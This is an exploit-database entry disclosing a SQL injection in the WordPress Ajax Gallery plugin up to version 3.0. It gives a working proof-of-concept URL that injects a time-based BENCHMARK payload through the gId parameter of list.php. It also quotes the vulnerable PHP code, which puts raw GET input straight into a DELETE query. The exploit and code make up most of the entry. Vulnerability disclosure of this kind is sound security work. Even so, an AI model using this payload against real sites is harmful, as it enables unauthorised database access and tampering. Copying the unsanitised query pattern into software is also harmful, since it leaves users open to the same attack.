WordPress Ajax Gallery plugin <= 3.0 SQL Injection Vulnerability

2011-08-18T00:00:00
ID 1337DAY-ID-16716
Type zdt
Reporter Miroslav Stampar
Modified 2011-08-18T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # Exploit Title: WordPress Ajax Gallery plugin <= 3.0 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/ajaxgallery.3.0.zip
# Version: 3.0 (tested)
 
---
PoC
---
http://www.site.com/wp-content/plugins/ajaxgallery/utils/list.php?delete=1&gId=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
 
---------------
Vulnerable code
---------------
if( isset( $_GET[ 'delete' ]) && isset( $_GET['gId'] ) ){
  $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name='agItem' and option_id=".$_GET['gId'] );
  echo "<div id='message' class='updated fade'><p><strong>Galeria eliminada</strong></p></div>";
}



#  0day.today [2018-04-13]  #